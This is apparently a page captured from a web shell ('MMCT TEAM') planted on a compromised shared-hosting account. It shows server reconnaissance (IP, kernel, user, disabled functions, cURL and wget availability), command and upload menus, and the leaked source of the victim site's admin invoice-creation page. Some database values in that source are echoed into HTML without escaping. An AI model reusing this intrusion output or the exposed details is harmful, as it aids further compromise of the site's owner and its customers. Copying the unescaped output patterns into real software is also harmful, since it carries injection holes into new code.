MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/public_html/apitodshut/../projects/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/public_html/apitodshut/../projects/admin/add-invoice.php
<?php
session_start();

if (!isset($_SESSION['admin_id'])) {
    header("Location: login.php");
    exit;
}

// ADMIN/MANAGER ONLY ACCESS
if ($_SESSION['role'] === 'Employee') {
    header("Location: employee.php");
    exit;
}

require_once '../config/config.php';
require_once '../config/db.php';

$current_user_role = $_SESSION['role'] ?? 'Manager';
$current_user_id = $_SESSION['admin_id'];
$current_user_name = $_SESSION['user_name'] ?? 'Admin';

// Check if editing
$is_edit = isset($_GET['id']) && !empty($_GET['id']);
$invoice_id = $is_edit ? intval($_GET['id']) : 0;

$invoice_data = null;
if ($is_edit) {
    $invoice_query = "SELECT * FROM tbl_invoices WHERE invoice_id = $invoice_id";
    $invoice_result = mysqli_query($con, $invoice_query);
    if (mysqli_num_rows($invoice_result) > 0) {
        $invoice_data = mysqli_fetch_assoc($invoice_result);
    } else {
        header("Location: invoices.php");
        exit;
    }
}

// Get all ACTIVE customers
$customers_query = "SELECT customer_id, customer_code, customer_name, email, phone, contact_person 
                    FROM tbl_customers 
                    ORDER BY customer_name ASC";
$customers_result = mysqli_query($con, $customers_query);

if (!$customers_result) {
    die("Database Error: " . mysqli_error($con));
}

// Get all categories with subcategories
$categories_query = "SELECT DISTINCT category_name FROM tbl_categories ORDER BY category_name ASC";
$categories_result = mysqli_query($con, $categories_query);
// After getting invoice data
if ($is_edit && $invoice_data) {
    // Check if invoice is paid
    if ($invoice_data['status'] === 'Paid') {
        $_SESSION['error_message'] = 'Cannot edit a paid invoice. Please create a credit note instead.';
        header("Location: invoices.php");
        exit;
    }
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <base href="../" />
    <title><?php echo $is_edit ? 'Edit Invoice' : 'Create Invoice'; ?> - TDS Admin Hub</title>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Inter:300,400,500,600,700" />
    <link href="assets/plugins/global/plugins.bundle.css" rel="stylesheet" type="text/css" />
    <link href="assets/css/style.bundle.css" rel="stylesheet" type="text/css" />
    <!-- Tagify CSS -->
<link href="https://cdn.jsdelivr.net/npm/@yaireo/tagify/dist/tagify.css" rel="stylesheet" type="text/css" />
    <!-- Flatpickr CSS -->
    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/flatpickr/dist/flatpickr.min.css">
</head>

<body id="kt_app_body" data-kt-app-layout="dark-sidebar" data-kt-app-header-fixed="true" 
      data-kt-app-sidebar-enabled="true" data-kt-app-sidebar-fixed="true" 
      data-kt-app-sidebar-hoverable="true" data-kt-app-sidebar-push-header="true" 
      data-kt-app-sidebar-push-toolbar="true" data-kt-app-sidebar-push-footer="true" 
      data-kt-app-toolbar-enabled="true" class="app-default">
    
    <script>
        var defaultThemeMode = "light"; 
        var themeMode; 
        if (document.documentElement) { 
            if (document.documentElement.hasAttribute("data-bs-theme-mode")) { 
                themeMode = document.documentElement.getAttribute("data-bs-theme-mode"); 
            } else { 
                if (localStorage.getItem("data-bs-theme") !== null) { 
                    themeMode = localStorage.getItem("data-bs-theme"); 
                } else { 
                    themeMode = defaultThemeMode; 
                } 
            } 
            if (themeMode === "system") { 
                themeMode = window.matchMedia("(prefers-color-scheme: dark)").matches ? "dark" : "light"; 
            } 
            document.documentElement.setAttribute("data-bs-theme", themeMode); 
        }
    </script>
    
    <div class="d-flex flex-column flex-root app-root" id="kt_app_root">
        <div class="app-page flex-column flex-column-fluid" id="kt_app_page">
            
            <?php include 'includes/header.php'; ?>
            
            <div class="app-wrapper flex-column flex-row-fluid" id="kt_app_wrapper">
                
                <?php include 'includes/sidebar.php'; ?>
                
                <div class="app-main flex-column flex-row-fluid" id="kt_app_main">
                    <div class="d-flex flex-column flex-column-fluid">
                        
                        <div id="kt_app_toolbar" class="app-toolbar py-3 py-lg-6">
                            <div id="kt_app_toolbar_container" class="app-container container-xxl d-flex flex-stack">
                                <div class="page-title d-flex flex-column justify-content-center flex-wrap me-3">
                                    <h1 class="page-heading d-flex text-gray-900 fw-bold fs-3 flex-column my-0">
                                        <?php echo $is_edit ? '✏️ Edit Invoice' : '➕ Create New Invoice'; ?>
                                    </h1>
                                    <ul class="breadcrumb breadcrumb-separatorless fw-semibold fs-7 my-0 pt-1">
                                        <li class="breadcrumb-item text-muted">
                                            <a href="admin/dashboard.php" class="text-muted text-hover-primary">Home</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted">
                                            <a href="admin/invoices.php" class="text-muted text-hover-primary">Invoices</a>
                                        </li>
                                        <li class="breadcrumb-item">
                                            <span class="bullet bg-gray-500 w-5px h-2px"></span>
                                        </li>
                                        <li class="breadcrumb-item text-muted"><?php echo $is_edit ? 'Edit' : 'Create'; ?></li>
                                    </ul>
                                </div>
                                
                                <div class="d-flex align-items-center gap-2 gap-lg-3">
                                    <a href="admin/invoices.php" class="btn btn-sm btn-light">
                                        <i class="ki-duotone ki-left fs-2"></i>
                                        Back to Invoices
                                    </a>
                                </div>
                            </div>
                        </div>
                        
                        <div id="kt_app_content" class="app-content flex-column-fluid">
                            <div id="kt_app_content_container" class="app-container container-xxl">
                                
                                <div id="alertBox"></div>
                                
                                <div class="d-flex flex-column flex-lg-row">
                                    
                                    <!--begin::Content-->
                                    <div class="flex-lg-row-fluid mb-10 mb-lg-0 me-lg-7 me-xl-10">
                                        <!--begin::Card-->
                                        <div class="card">
                                            <!--begin::Card body-->
                                            <div class="card-body p-12">
                                                <!--begin::Form-->
                                                <form id="invoiceForm" method="POST" enctype="multipart/form-data">
                                                    <input type="hidden" name="action" id="action" value="<?php echo $is_edit ? 'edit_invoice' : 'add_invoice'; ?>">
                                                    <input type="hidden" name="invoice_id" id="invoice_id" value="<?php echo $invoice_id; ?>">
                                                    <input type="hidden" name="invoice_items" id="invoice_items" value="[]">
                                                    <input type="hidden" name="subtotal" id="subtotal" value="0">
                                                    <input type="hidden" name="discount_amount" id="discount_amount" value="0">
                                                    <input type="hidden" name="tax_amount" id="tax_amount" value="0">
                                                    <input type="hidden" name="final_amount" id="final_amount" value="0">
                                                    <input type="hidden" name="existing_qr_image" value="<?php echo $invoice_data['qr_code_image'] ?? ''; ?>">
                                                    
                                                    <!--begin::Wrapper-->
                                                    <div class="d-flex flex-column align-items-start flex-xxl-row">
                                                        
                                                        <!--begin::Input group - Start Date-->
                                                        <div class="d-flex align-items-center flex-equal fw-row me-4 order-2">
                                                            <div class="fs-6 fw-bold text-gray-700 text-nowrap">Start Date:</div>
                                                            <div class="position-relative d-flex align-items-center w-150px">
                                                                <input class="form-control form-control-transparent fw-bold pe-5" 
                                                                       placeholder="Select date" 
                                                                       name="start_date" 
                                                                       id="start_date"
                                                                       readonly
                                                                       value="<?php echo $invoice_data ? $invoice_data['start_date'] : date('Y-m-d'); ?>" />
                                                            </div>
                                                        </div>
                                                        <!--end::Input group-->
                                                        
                                                        <!--begin::Input group - Invoice Number-->
                                                        <div class="d-flex flex-center flex-equal fw-row text-nowrap order-1 order-xxl-2 me-4">
                                                            <span class="fs-2x fw-bold text-gray-800">Invoice #</span>
                                                            <input type="text" readonly
                                                                   class="form-control form-control-flush fw-bold text-muted fs-3 w-150px" 
                                                                   value="<?php echo $invoice_data ? $invoice_data['invoice_code'] : 'AUTO'; ?>" />
                                                        </div>
                                                        <!--end::Input group-->
                                                        
                                                        <!--begin::Input group - End Date-->
                                                        <div class="d-flex align-items-center justify-content-end flex-equal order-3 fw-row">
                                                            <div class="fs-6 fw-bold text-gray-700 text-nowrap">End Date:</div>
                                                            <div class="position-relative d-flex align-items-center w-150px">
                                                                <input class="form-control form-control-transparent fw-bold pe-5" 
                                                                       placeholder="Select date" 
                                                                       name="end_date" 
                                                                       id="end_date"
                                                                       readonly
                                                                       value="<?php echo $invoice_data ? $invoice_data['end_date'] : date('Y-m-d', strtotime('+15 days')); ?>" />
                                                            </div>
                                                        </div>
                                                        <!--end::Input group-->
                                                        
                                                    </div>
                                                    <!--end::Top-->
                                                    
                                                    <!--begin::Separator-->
                                                    <div class="separator separator-dashed my-10"></div>
                                                    <!--end::Separator-->
                                                    
                                                    <!--begin::Wrapper-->
                                                    <div class="mb-0">
                                                        
                                                        <!--begin::Row - Customer Selection-->
                                                        <div class="row gx-10 mb-5">
                                                            <div class="col-lg-12">
                                                                <label class="form-label fs-6 fw-bold text-gray-700 mb-3">Bill To (Customer)</label>
                                                                <div class="mb-5">
                                                                    <select class="form-select form-select-solid" 
                                                                            name="customer_id" id="customer_id" required>
                                                                        <option value="">Select a customer...</option>
                                                                        <?php 
                                                                        if (mysqli_num_rows($customers_result) > 0):
                                                                            while ($cust = mysqli_fetch_assoc($customers_result)): 
                                                                        ?>
                                                                        <option value="<?php echo $cust['customer_id']; ?>" 
                                                                                <?php echo ($invoice_data && $invoice_data['customer_id'] == $cust['customer_id']) ? 'selected' : ''; ?>>
                                                                            <?php echo htmlspecialchars($cust['customer_name']); ?> (<?php echo $cust['customer_code']; ?>)
                                                                        </option>
                                                                        <?php 
                                                                            endwhile;
                                                                        else:
                                                                        ?>
                                                                        <option value="" disabled>No customers found</option>
                                                                        <?php 
                                                                        endif; 
                                                                        ?>
                                                                    </select>
                                                                </div>
                                                            </div>
                                                        </div>
                                                        <!--end::Row-->
                                                        
                                                        <!--begin::Table wrapper-->
                                                        <div class="table-responsive mb-10">
                                                            <!--begin::Table-->
                                                            <table class="table g-5 gs-0 mb-0 fw-bold text-gray-700" data-kt-element="items">
                                                                <!--begin::Table head-->
                                                              <!--begin::Table head-->
<thead>
    <tr class="border-bottom fs-7 fw-bold text-gray-700 text-uppercase">
        <th class="min-w-250px">Category & Description</th>
        <th class="min-w-200px">Subcategories</th>
        <th class="min-w-80px">QTY</th>
        <th class="min-w-100px">Price</th>
        <th class="min-w-100px text-end">Total</th>
        <th class="min-w-75px text-end">Action</th>
    </tr>
</thead>
<!--end::Table head-->
                                                                <!--end::Table head-->
                                                                <!--begin::Table body-->
                                                                <tbody id="lineItemsContainer">
                                                                    <!-- Line items will be added here by JavaScript -->
                                                                </tbody>
                                                                <!--end::Table body-->
                                                                <!--begin::Table foot-->
                                                                <tfoot>
                                                                    <tr class="border-top border-top-dashed align-top fs-6 fw-bold text-gray-700">
                                                                        <th class="text-primary" colspan="2">
                                                                            <button type="button" class="btn btn-link py-1" onclick="KTInvoice.addItem(); return false;">
                                                                                <i class="ki-duotone ki-plus fs-3"></i>
                                                                                Add item
                                                                            </button>
                                                                        </th>
                                                                        <th colspan="2" class="border-bottom border-bottom-dashed ps-0">
                                                                            <div class="d-flex flex-column align-items-start">
                                                                                <div class="fs-5">Subtotal</div>
                                                                            </div>
                                                                        </th>
                                                                        <th colspan="2" class="border-bottom border-bottom-dashed text-end">
                                                                            ₹<span data-kt-element="sub-total">0.00</span>
                                                                        </th>
                                                                    </tr>
                                                                    
                                                                    <!-- Discount Row -->
                                                                    <tr class="align-top fw-bold text-gray-700">
                                                                        <th colspan="2"></th>
                                                                        <th colspan="2" class="ps-0">
                                                                            <div class="d-flex align-items-center">
                                                                                <span class="me-2">Discount</span>
                                                                                <input type="number" name="discount_percentage" id="discount_percentage" 
                                                                                       class="form-control form-control-sm w-100px" 
                                                                                       placeholder="0" step="0.01" min="0" max="100"
                                                                                       value="<?php echo $invoice_data ? $invoice_data['discount_percentage'] : '0'; ?>"
                                                                                       oninput="calculateInvoiceTotals()"
                                                                                       onchange="calculateInvoiceTotals()"
                                                                                       onkeyup="calculateInvoiceTotals()" />
                                                                                <span class="ms-2">%</span>
                                                                            </div>
                                                                        </th>
                                                                        <th colspan="2" class="text-end text-nowrap">
                                                                            - ₹<span data-kt-element="discount-total">0.00</span>
                                                                        </th>
                                                                    </tr>
                                                                    
                                                                    <!-- Hanging Fire Row -->
                                                                    <tr class="align-top fw-bold text-gray-700">
                                                                        <th colspan="2"></th>
                                                                        <th colspan="2" class="ps-0">
                                                                            <div class="d-flex align-items-center">
                                                                                <span class="me-2">Hanging Fire</span>
                                                                                <input type="number" name="hanging_fire" id="hanging_fire" 
                                                                                       class="form-control form-control-sm w-120px" 
                                                                                       placeholder="0.00" step="0.01" min="0"
                                                                                       value="<?php echo $invoice_data ? $invoice_data['hanging_fire'] : '0'; ?>"
                                                                                       oninput="calculateInvoiceTotals()"
                                                                                       onchange="calculateInvoiceTotals()"
                                                                                       onkeyup="calculateInvoiceTotals()" />
                                                                            </div>
                                                                        </th>
                                                                        <th colspan="2" class="text-end text-nowrap">
                                                                            + ₹<span data-kt-element="hanging-fire-total">0.00</span>
                                                                        </th>
                                                                    </tr>
                                                                    
                                                                    <!-- Tax/GST Row -->
                                                                    <tr class="align-top fw-bold text-gray-700">
                                                                        <th colspan="2"></th>
                                                                        <th colspan="2" class="border-bottom border-bottom-dashed ps-0">
                                                                            <div class="d-flex align-items-center">
                                                                                <span class="me-2">Tax/GST</span>
                                                                                <input type="number" name="tax_percentage" id="tax_percentage" 
                                                                                       class="form-control form-control-sm w-100px" 
                                                                                       placeholder="18" step="0.01" min="0" max="100"
                                                                                       value="<?php echo $invoice_data ? $invoice_data['tax_percentage'] : '18'; ?>"
                                                                                       oninput="calculateInvoiceTotals()"
                                                                                       onchange="calculateInvoiceTotals()"
                                                                                       onkeyup="calculateInvoiceTotals()" />
                                                                                <span class="ms-2">%</span>
                                                                            </div>
                                                                        </th>
                                                                        <th colspan="2" class="border-bottom border-bottom-dashed text-end text-nowrap">
                                                                            + ₹<span data-kt-element="tax-total">0.00</span>
                                                                        </th>
                                                                    </tr>
                                                                    
                                                                    <!-- Down Payment Row -->
                                                                    <tr class="align-top fw-bold text-gray-700">
                                                                        <th colspan="2"></th>
                                                                        <th colspan="2" class="border-bottom border-bottom-dashed ps-0">
                                                                            <div class="d-flex align-items-center">
                                                                                <span class="me-2">Down Payment</span>
                                                                                <input type="number" name="down_payment" id="down_payment" 
                                                                                       class="form-control form-control-sm w-120px" 
                                                                                       placeholder="0.00" step="0.01" min="0"
                                                                                       value="<?php echo $invoice_data ? $invoice_data['down_payment'] : '0'; ?>"
                                                                                       oninput="calculateInvoiceTotals()"
                                                                                       onchange="calculateInvoiceTotals()"
                                                                                       onkeyup="calculateInvoiceTotals()" />
                                                                            </div>
                                                                        </th>
                                                                        <th colspan="2" class="border-bottom border-bottom-dashed text-end text-nowrap">
                                                                            - ₹<span data-kt-element="down-payment-total">0.00</span>
                                                                        </th>
                                                                    </tr>
                                                                    
                                                                    <!-- Grand Total Row -->
                                                                    <tr class="align-top fw-bold text-gray-700">
                                                                        <th colspan="2"></th>
                                                                        <th colspan="2" class="fs-4 ps-0">Total</th>
                                                                        <th colspan="2" class="text-end fs-4 text-nowrap">
                                                                            ₹<span data-kt-element="grand-total">0.00</span>
                                                                        </th>
                                                                    </tr>
                                                                </tfoot>
                                                                <!--end::Table foot-->
                                                            </table>
                                                        </div>
                                                        <!--end::Table-->
                                                        
                                                        <!--begin::QR Code Upload-->
                                                        <div class="row mb-7">
                                                            <div class="col-lg-6">
                                                                <label class="form-label fs-6 fw-bold text-gray-700">QR Code Image (for payments)</label>
                                                                <input type="file" class="form-control form-control-solid" 
                                                                       name="qr_code_image" id="qr_code_image" 
                                                                       accept=".svg,.png,.jpg,.jpeg" />
                                                                <div class="form-text">Accepted formats: SVG, PNG, JPG, JPEG</div>
                                                                <?php if ($invoice_data && !empty($invoice_data['qr_code_image'])): ?>
                                                                <div class="mt-3">
                                                                    <img src="<?php echo $invoice_data['qr_code_image']; ?>" 
                                                                         alt="Current QR Code" 
                                                                         class="img-thumbnail" 
                                                                         style="max-width: 150px;">
                                                                    <div class="text-muted fs-7 mt-1">Current QR Code</div>
                                                                </div>
                                                                <?php endif; ?>
                                                            </div>
                                                        </div>
                                                        <!--end::QR Code Upload-->
                                                        
                                                        <!--begin::Notes-->
                                                        <div class="mb-0">
                                                            <label class="form-label fs-6 fw-bold text-gray-700">Internal Notes</label>
                                                            <textarea name="internal_notes" id="internal_notes" 
                                                                      class="form-control form-control-solid" rows="3" 
                                                                      placeholder="Notes for internal use only (not visible to customer)"><?php echo $invoice_data ? htmlspecialchars($invoice_data['internal_notes']) : ''; ?></textarea>
                                                        </div>
                                                        <!--end::Notes-->
                                                        
                                                    </div>
                                                    <!--end::Wrapper-->
                                                    
                                                </form>
                                                <!--end::Form-->
                                            </div>
                                            <!--end::Card body-->
                                        </div>
                                        <!--end::Card-->
                                    </div>
                                    <!--end::Content-->
                                    
                                    <!--begin::Sidebar-->
                                    <div class="flex-lg-auto min-w-lg-300px">
                                        <!--begin::Card-->
                                        <div class="card" data-kt-sticky="true" data-kt-sticky-name="invoice" 
                                             data-kt-sticky-offset="{default: false, lg: '200px'}" 
                                             data-kt-sticky-width="{lg: '250px', lg: '300px'}" 
                                             data-kt-sticky-left="auto" data-kt-sticky-top="150px" 
                                             data-kt-sticky-animation="false" data-kt-sticky-zindex="95">
                                            <!--begin::Card body-->
                                            <div class="card-body p-10">
                                                
                                                <h3 class="fw-bold text-gray-800 mb-8">Payment Details</h3>
                                                
                                                <!--begin::Input group - Payment Terms-->
                                                <div class="mb-10">
                                                    <label class="form-label fw-bold fs-6 text-gray-700">Payment Terms</label>
                                                    <select class="form-select form-select-solid" name="payment_terms" id="payment_terms" required>
                                                        <option value="Advance" <?php echo ($invoice_data && $invoice_data['payment_terms'] == 'Advance') ? 'selected' : ''; ?>>Advance Payment</option>
                                                        <option value="COD" <?php echo ($invoice_data && $invoice_data['payment_terms'] == 'COD') ? 'selected' : ''; ?>>Cash on Delivery</option>
                                                        <option value="Net 15" <?php echo ($invoice_data && $invoice_data['payment_terms'] == 'Net 15') ? 'selected' : ''; ?>>Net 15 Days</option>
                                                        <option value="Net 30" <?php echo (!$invoice_data || $invoice_data['payment_terms'] == 'Net 30') ? 'selected' : ''; ?>>Net 30 Days</option>
                                                        <option value="Net 60" <?php echo ($invoice_data && $invoice_data['payment_terms'] == 'Net 60') ? 'selected' : ''; ?>>Net 60 Days</option>
                                                    </select>
                                                </div>
                                                <!--end::Input group-->
                                                
                                                <!--begin::Input group - Payment Status-->
                                                <div class="mb-10">
                                                    <label class="form-label fw-bold fs-6 text-gray-700">Payment Status</label>
                                                    <select class="form-select form-select-solid" name="payment_status" id="payment_status" required>
                                                        <option value="Unpaid" <?php echo (!$invoice_data || $invoice_data['payment_status'] == 'Unpaid') ? 'selected' : ''; ?>>Unpaid</option>
                                                        <option value="Partially Paid" <?php echo ($invoice_data && $invoice_data['payment_status'] == 'Partially Paid') ? 'selected' : ''; ?>>Partially Paid</option>
                                                        <option value="Paid" <?php echo ($invoice_data && $invoice_data['payment_status'] == 'Paid') ? 'selected' : ''; ?>>Paid</option>
                                                        <option value="Overdue" <?php echo ($invoice_data && $invoice_data['payment_status'] == 'Overdue') ? 'selected' : ''; ?>>Overdue</option>
                                                    </select>
                                                </div>
                                                <!--end::Input group-->
                                                
                                                <!--begin::Input group - Invoice Status-->
                                                <div class="mb-10">
                                                    <label class="form-label fw-bold fs-6 text-gray-700">Invoice Status</label>
                                                    <select class="form-select form-select-solid" name="status" id="status" required>
    <option value="Draft" <?php echo (!$invoice_data || $invoice_data['status'] == 'Draft') ? 'selected' : ''; ?>>Draft</option>
    <option value="Sent" <?php echo ($invoice_data && $invoice_data['status'] == 'Sent') ? 'selected' : ''; ?>>Sent</option>
    <option value="Paid" <?php echo ($invoice_data && $invoice_data['status'] == 'Paid') ? 'selected' : ''; ?>>Paid</option>
    <option value="Cancelled" <?php echo ($invoice_data && $invoice_data['status'] == 'Cancelled') ? 'selected' : ''; ?>>Cancelled</option>
</select>
                                                </div>
                                                <!--end::Input group-->
                                                
                                                <!--begin::Separator-->
                                                <div class="separator separator-dashed mb-8"></div>
                                                <!--end::Separator-->
                                                
                                                <!--begin::Actions-->
                                                <div class="mb-0">
                                                    <button type="button" onclick="document.getElementById('invoiceForm').dispatchEvent(new Event('submit', {bubbles: true, cancelable: true}));" 
                                                            class="btn btn-primary w-100" id="submitBtn">
                                                        <span class="indicator-label">
                                                            <i class="ki-duotone ki-check fs-2"></i>
                                                            <?php echo $is_edit ? 'Update Invoice' : 'Save Invoice'; ?>
                                                        </span>
                                                        <span class="indicator-progress">Please wait...
                                                            <span class="spinner-border spinner-border-sm align-middle ms-2"></span>
                                                        </span>
                                                    </button>
                                                </div>
                                                <!--end::Actions-->
                                                
                                            </div>
                                            <!--end::Card body-->
                                        </div>
                                        <!--end::Card-->
                                    </div>
                                    <!--end::Sidebar-->
                                    
                                </div>
                                
                            </div>
                        </div>
                        
                    </div>
                    
                    <?php include 'includes/footer.php'; ?>
                    
                </div>
            </div>
        </div>
    </div>
    
    <!-- Item Template (Hidden) -->
<!-- Item Template (Hidden) -->
<table class="d-none" data-kt-element="item-template">
    <tr class="border-bottom border-bottom-dashed" data-kt-element="item">
        <!-- COLUMN 1: Category & Description -->
        <td class="pe-7" style="vertical-align: top; width: 30%;">
            <label class="fs-7 fw-semibold text-gray-700 mb-2">Category</label>
            <select class="form-select form-select-solid mb-2" 
                    name="item_category[]" 
                    data-kt-element="item-category">
                <option value="">Select Category</option>
                <?php 
                mysqli_data_seek($categories_result, 0);
                while ($cat = mysqli_fetch_assoc($categories_result)): 
                    $cat_desc_query = "SELECT category_description FROM tbl_categories WHERE category_name = '" . mysqli_real_escape_string($con, $cat['category_name']) . "' LIMIT 1";
                    $cat_desc_result = mysqli_query($con, $cat_desc_query);
                    $cat_desc_row = mysqli_fetch_assoc($cat_desc_result);
                    $cat_description = $cat_desc_row['category_description'] ?? '';
                ?>
                <option value="<?php echo htmlspecialchars($cat['category_name']); ?>" 
                        data-description="<?php echo htmlspecialchars($cat_description); ?>">
                    <?php echo htmlspecialchars($cat['category_name']); ?>
                </option>
                <?php endwhile; ?>
            </select>
            
            <label class="fs-7 fw-semibold text-gray-700 mb-2">Description</label>
            <textarea class="form-control form-control-solid bg-light" 
                      name="item_description[]" 
                      rows="3" 
                      data-kt-element="item-description"
                      readonly></textarea>
        </td>
        
        <!-- COLUMN 2: Subcategories (Tagify - Multiple) -->
        <td class="ps-0" style="vertical-align: top; width: 25%;">
            <label class="fs-7 fw-semibold text-gray-700 mb-2">Subcategories</label>
            <input type="text" 
                   class="form-control form-control-solid" 
                   name="item_subcategories[]"
                   data-kt-element="item-subcategories"
                   placeholder="Select category first..." 
                   disabled />
        </td>
        
        <!-- COLUMN 3: Quantity -->
        <td class="ps-0" style="vertical-align: top; width: 10%;">
            <label class="fs-7 fw-semibold text-gray-700 mb-2">QTY</label>
            <input class="form-control form-control-solid" 
                   type="number" 
                   min="1" 
                   name="quantity[]" 
                   placeholder="1" 
                   value="1" 
                   data-kt-element="quantity" />
        </td>
        
        <!-- COLUMN 4: Price -->
        <td style="vertical-align: top; width: 15%;">
            <label class="fs-7 fw-semibold text-gray-700 mb-2">Price</label>
            <input type="number" 
                   class="form-control form-control-solid text-end" 
                   name="price[]" 
                   placeholder="0.00" 
                   value="0" 
                   step="0.01" 
                   data-kt-element="price" />
        </td>
        
        <!-- COLUMN 5: Total -->
        <td class="text-end text-nowrap" style="vertical-align: top; width: 12%;">
            <label class="fs-7 fw-semibold text-gray-700 mb-2">Total</label>
            <div class="fs-6 fw-bold text-gray-800">₹<span data-kt-element="total">0.00</span></div>
        </td>
        
        <!-- COLUMN 6: Remove Button -->
        <td class="text-end" style="vertical-align: top; width: 8%;">
            <label class="fs-7 fw-semibold text-gray-700 mb-2">&nbsp;</label>
            <button type="button" class="btn btn-sm btn-icon btn-light-danger" data-kt-element="remove-item">
                <i class="ki-duotone ki-trash fs-3">
                    <span class="path1"></span>
                    <span class="path2"></span>
                    <span class="path3"></span>
                    <span class="path4"></span>
                    <span class="path5"></span>
                </i>
            </button>
        </td>
    </tr>
</table>
    
    <table class="d-none" data-kt-element="empty-template">
        <tr data-kt-element="empty">
            <th colspan="6" class="text-muted text-center py-10">No items</th>
        </tr>
    </table>
    
    <!-- Scripts - LOAD IN CORRECT ORDER -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <script src="assets/plugins/global/plugins.bundle.js"></script>
    <script src="assets/js/scripts.bundle.js"></script>
    
    <!-- Flatpickr JS -->
    <script src="https://cdn.jsdelivr.net/npm/flatpickr"></script>
    
    <!-- Initialize data variables -->
    <script>
    var invoiceData = <?php echo $invoice_data ? json_encode($invoice_data) : 'null'; ?>;
    var isEdit = <?php echo $is_edit ? 'true' : 'false'; ?>;
    
    // Global calculation function - MUST be defined before page loads
    window.calculateInvoiceTotals = function() {
        console.log('===== CALCULATING TOTALS =====');
        
        var itemsTable = document.querySelector('[data-kt-element="items"]');
        if (!itemsTable) {
            console.error('Items table not found!');
            return;
        }
        
        var items = itemsTable.querySelectorAll('[data-kt-element="item"]');
        var subtotal = 0;
        
        console.log('Found', items.length, 'items');
        
        items.forEach(function(item) {
            var qtyInput = item.querySelector('[data-kt-element="quantity"]');
            var priceInput = item.querySelector('[data-kt-element="price"]');
            
            if (qtyInput && priceInput) {
                var quantity = parseFloat(qtyInput.value) || 0;
                var price = parseFloat(priceInput.value) || 0;
                var itemTotal = quantity * price;
                
                console.log('Item:', quantity, 'x ₹' + price, '= ₹' + itemTotal);
                subtotal += itemTotal;
            }
        });
        
        console.log('SUBTOTAL: ₹' + subtotal);
        
        // Get all inputs
        var discountInput = document.getElementById('discount_percentage');
        var hangingFireInput = document.getElementById('hanging_fire');
        var taxInput = document.getElementById('tax_percentage');
        var downPaymentInput = document.getElementById('down_payment');
        
        var discountPercent = discountInput ? (parseFloat(discountInput.value) || 0) : 0;
        var hangingFire = hangingFireInput ? (parseFloat(hangingFireInput.value) || 0) : 0;
        var taxPercent = taxInput ? (parseFloat(taxInput.value) || 0) : 0;
        var downPayment = downPaymentInput ? (parseFloat(downPaymentInput.value) || 0) : 0;
        
        console.log('Discount:', discountPercent + '%', 'Hanging Fire: ₹' + hangingFire, 'Tax:', taxPercent + '%', 'Down Payment: ₹' + downPayment);
        
        // Calculate amounts
        var discountAmount = (subtotal * discountPercent) / 100;
        var afterDiscount = subtotal - discountAmount;
        var afterHangingFire = afterDiscount + hangingFire;
        var taxAmount = (afterHangingFire * taxPercent) / 100;
        var afterTax = afterHangingFire + taxAmount;
        var grandTotal = afterTax - downPayment;
        
        console.log('Discount Amount: ₹' + discountAmount.toFixed(2));
        console.log('After Discount: ₹' + afterDiscount.toFixed(2));
        console.log('After Hanging Fire: ₹' + afterHangingFire.toFixed(2));
        console.log('Tax Amount: ₹' + taxAmount.toFixed(2));
        console.log('After Tax: ₹' + afterTax.toFixed(2));
        console.log('GRAND TOTAL: ₹' + grandTotal.toFixed(2));
        
        // Update displays
        var subTotalSpan = itemsTable.querySelector('[data-kt-element="sub-total"]');
        var discountTotalSpan = itemsTable.querySelector('[data-kt-element="discount-total"]');
        var hangingFireSpan = itemsTable.querySelector('[data-kt-element="hanging-fire-total"]');
        var taxTotalSpan = itemsTable.querySelector('[data-kt-element="tax-total"]');
        var downPaymentSpan = itemsTable.querySelector('[data-kt-element="down-payment-total"]');
        var grandTotalSpan = itemsTable.querySelector('[data-kt-element="grand-total"]');
        
        if (subTotalSpan) subTotalSpan.innerText = subtotal.toFixed(2);
        if (discountTotalSpan) discountTotalSpan.innerText = discountAmount.toFixed(2);
        if (hangingFireSpan) hangingFireSpan.innerText = hangingFire.toFixed(2);
        if (taxTotalSpan) taxTotalSpan.innerText = taxAmount.toFixed(2);
        if (downPaymentSpan) downPaymentSpan.innerText = downPayment.toFixed(2);
        if (grandTotalSpan) grandTotalSpan.innerText = grandTotal.toFixed(2);
        
        // Update hidden fields
        document.getElementById('subtotal').value = subtotal.toFixed(2);
        document.getElementById('discount_amount').value = discountAmount.toFixed(2);
        document.getElementById('tax_amount').value = taxAmount.toFixed(2);
        document.getElementById('final_amount').value = grandTotal.toFixed(2);
        
        console.log('===== CALCULATION COMPLETE =====');
    };
    </script>
    
    <!-- Custom invoice script -->
    <script src="admin/js/add-invoice.js?v=<?php echo time(); ?>"></script>
    <!-- Tagify JS -->
<script src="https://cdn.jsdelivr.net/npm/@yaireo/tagify"></script>
    <?php include 'includes/chat_widget.php'; ?>
    
</body>
</html>

MMCT - 2023